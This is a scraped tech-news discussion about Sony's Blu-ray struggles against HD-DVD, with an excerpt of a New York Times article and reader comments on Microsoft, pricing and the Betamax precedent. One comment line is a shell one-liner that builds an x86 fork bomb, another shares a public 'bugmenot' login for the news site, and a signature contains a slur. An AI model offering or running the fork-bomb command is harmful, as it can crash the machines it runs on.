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In Sony's Stumble, the Ghost of Betamax
QuatermassX writes "In a lengthy piece in today's New York Times, Ken Belson equates Sony's troubles in bringing Blu-Ray to market with their classic fumble of Betamax technology in the early 1980's. He also discusses the influence of Microsoft in the recent advances in the adoption of the perceived underdog in this fight, HD-DVD. The article also summarises the various twists and turns in the development of the format along with some scary numbers (that we're familiar with) on the estimated cost of Playstation 3
From TFA: "There are other industry analysts who contend that Microsoft is simply propping up Toshiba to further its own aims, like countering the PlayStation and combating the spread of Sun's Java software. Nonetheless, Toshiba is happy for the backing, given that the format was written off for dead just a few months ago.
'"There's no doubt that everyone has various agendas," said Mark Knox, an adviser to the Toshiba promotion group. "But whatever their agenda, Microsoft's support has been a huge boon to HD-DVD.'""
BTW user:bugmenot, pass:bugmenot works fine
In Sony's Stumble, the Ghost of Betamax
By KEN BELSON
AT first glance, Amir Majidimehr does not look like a game-changer in the battle to develop the next generation of DVD players and discs. As the vice president for Windows digital media at Microsoft, he neither steers a Hollywood studio nor controls one of the many consumer electronics giants that are betting billions of dollars on one of the two new formats that promise to play high-definition movies and television shows.
Yet when he and his team in Redmond, Wash., decided last September to abandon their neutral stance and to support Toshiba and its HD-DVD standard over the Blu-ray format led by Sony, the unexpected change of heart reverberated through the technology industry.
Suddenly, Toshiba's seemingly quixotic defense of its format had new life. Intel joined Microsoft in backing HD-DVD. Hewlett-Packard withdrew its exclusive support of Blu-ray. This month, another member of the Blu-ray camp, LG Electronics, hedged its bets, too, signing a deal to license Toshiba's technology.
And earlier this month, one of the main reasons underpinning Microsoft's move to shuck its neutrality the complexity of producing Blu-ray technology led to Sony's acknowledgment that it might delay this spring's scheduled release of its PlayStation 3 game console partly because the needed technology was still being worked out.
The possible delay and the Blu-ray group's loss of its once-commanding lead are not encouraging developments for Sony in its attempt to revive its electronics group after a series of bungles. PlayStation 3 is crucial to Sony's future, and not only because the latest version of its gaming consoles could generate billions in revenue; the new machines will include disc drives that will turn them into Blu-ray DVD players as well.
"The PlayStation is more than a game system to them; it's one of their attempts to own the digital living room," said Robert Heiblim, a consultant to electronics companies. "Blu-ray is also critically important to get right. They don't want to be weak in an area they feel they can dominate."
A DECADE ago, a prospective death match between competing first-generation DVD players was averted when Sony and Philips agreed to back down and join the Toshiba/Warner Brothers side, in exchange for a share of royalties that all DVD player producers pay to the format's creator. Now, no truce seems near, as neither side wants to settle for a small piece of what could be a big electronics success.
So consumers and retailers may be in for a reprise of the confusing VHS-Betamax showdown of the early 1980's, with Toshiba replacing Matsushita as Sony's adversary. But Sony hopes to have a happier resolution this time. Sony lost the battle two decades ago when its highly regarded Betamax technology was defeated by VHS, a more widely accepted alternative.
Once again, the differences between the two technologies are not huge. And a growing chorus of critics, including some studio chiefs eager to sell new products as quickly as possible, call the Blu-ray format unnecessarily elaborate and expensive.
The first HD-DVD machines from Toshiba and the competing Blu-ray players from Sony, Samsung and the other Blu-ray companies will all play movies with crisper pictures, enhanced sound and a bevy of interactive features like pictures within pictures and links to the Internet. The machines will also play older DVD's.
Technophiles got a preview of the HD-DVD technology on Wednesday at an electronics store on the Upper West Side of Manhattan. As Jessica Simpson and Johnny Knoxville cavorted in the movie "The Dukes of Hazzard," prospective buyers were able to see the difference between a plain old DVD and the high-definition kind. But the main feature was the price. Toshiba will sell two players starting in March; one will cost just $499, half the price of the cheapest Blu-ray machines, the first of which will hit the stores this spring. Samsung's f
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
that was the original plan, but as time has gone on both formats are basically identical (same compression, same DRM scheme) the only differences is one isn't limited on space yet (blu-ray) while the other is (hd-dvd)
Because blue lasers and discs are consumer ready NOW.
Holographic discs are still 3 or 4 years away (like we have the same discussion about HD-DVD and Blu-Ray 2 years ago..)
The problem with the technology is we need some kind of HD movie format *NOW* because HDTV is becoming super-popular *NOW*. It's not good for the status quo when you will hardly be able to buy a non-HDTV (-ready) set in the next couple of years, but still only be "working on" the HD rental/movie format because "holographic tech is much cooler".
Blu-ray vs. HD-DVD? HD-DVD will win it out just because it's cheaper. But this won't phase Sony one bit; at least it means PS3 games will be expensive to pirate.
If Vista doesn't ship with support for Blu-Ray, how is Dell going to sell these to people?
Windows XP doesn't even support DVD playback out of the box, yet people seem to get along just fine with manufacturer-supplied DVD codecs.
Don't become a regular here -- you will become retarded.
Let's try to be realistic here....
As I look through the posts I see some good information, the usual tinfoil hat stuff, and some flat out misperceptions or bad assumptions.
As I usually say, everyone here needs to go read about technology more in detail before they decide for themselves.
Here is what I know, and I admit I am not an expert by any means.
1) Both technologies have a lot in common, the main distinction physically is the type of material used in the Discs, and how many layers you can pack into a Disc. Blu-Ray has the seemingly advantage with 'possibly' putting more layers into the Disc; however, HD-DVD has the advantage with a bit more reliable encasing of the layers, not as prone to damage.
2) Sony and Toshiba are the companies behind each product. However Sony is intent on keeping Blu-ray 100% to themselves, Toshiba is more willing to license out the technology.
3) HD-DVD started to slump in popularity, as Sony was in the process of upping the bar of more data, etc etc. This started to make Toshiba more flexible with the format, and Sony a bit more arrogant with their format. Strangly, this is also what set the stage for the shift in functions and popularity.
4) As new proposals or needs were expressed to Toshiba for built-in interface elements, adding more codec support, etc, as more ideas were added to the table, Toshiba was willing to work with them. Sony on the other hand rejected a lot of outside input, the arrogance was working against them.
5) Microsoft decides a key element of media of the future (especially in relation to their plans for consumer features), is that the content is allowed to be moved from the Media to a storage device, with or without the content protection. (i.e. the protection would stay with the data, not with the Media)
6) Toshiba was flexible and was willing to allow copying to an alternative storage device, Sony was very much against it. Sony's idea was that the content had to stay on their media, no no to copying it.
7) So 5 and 6 is where Microsoft said, HD-DVD is the one we will support, and this made a bit of press, it also made the rest of the industry re-evaluate both technologies, and in doing so, a lot of early Blu-Ray supporters found that Sony wasn't willing to give the features a lot of people wanted.
8) This brings us to the move by other companies. HP is a prime example, as they directly approached Sony, and said, Blu-ray needs to support some important features, Sony said no, and HP said, ok, we can't do an exclusive backing anymore.
Sony had the technology and should of owned this medium and emerging format war, but they got arrogant, as they did with BetaMax and many other products in their history, and basically lost the game not in technology, but in playing nice with others.
I don't remember the specifics of the features HP requested from Sony, but it is worth a search for people interested.
Also for everyone that is saying this war is only about Protection technology, etc. They are a bit right, but Sony is the one screwing the consumer more than Toshiba - and if you don't believe that, 1) Look it up & 2) Remember Sony has a big film division, Toshiba doesn't.
One of the main features that MS felt was important in the format about copying from the media was actually a pretty smart move on MS's part, and it will benefit consumers (even if you hate MS).
Microsoft sees a future where all your movies are also in a Jukebox on your computer/server as Audio files are in many people's homes now. You may own the CD, but most people listen to them from a digital archive. Microsoft believes Movies, DVD and HD-DVD content will also evolve to this level, even if not immediately. So the ability to move the movie off the media to a server is pretty important in creating a digital jukebox.
Microsoft did have an agenda, just not one that is so underhanded, they see Vista as offering Movie storage and Movie servers in homes, a good selling point for
For a much more balanced account of the competition, see this reference
Basically, beta mostly had the lead on features and quality, but only by a few months. VHS had the advantage of lower price. This did not trouble Sony, because Sony had traditionally offered high-end, high-margin products rather than trying to dominate market share. But Sony had imagined that the primary use of the VCR would be time-shifting.
What Sony failed to anticipate was the emergence of the rental market. Rental shops tended to favor the system with greater market share--which led people to buy more VHS machines--which increased the preference of rental shops for the VHS format. As documented in the reference above, the failure of beta in the marketplace coinceded with the explosion of the video rental market.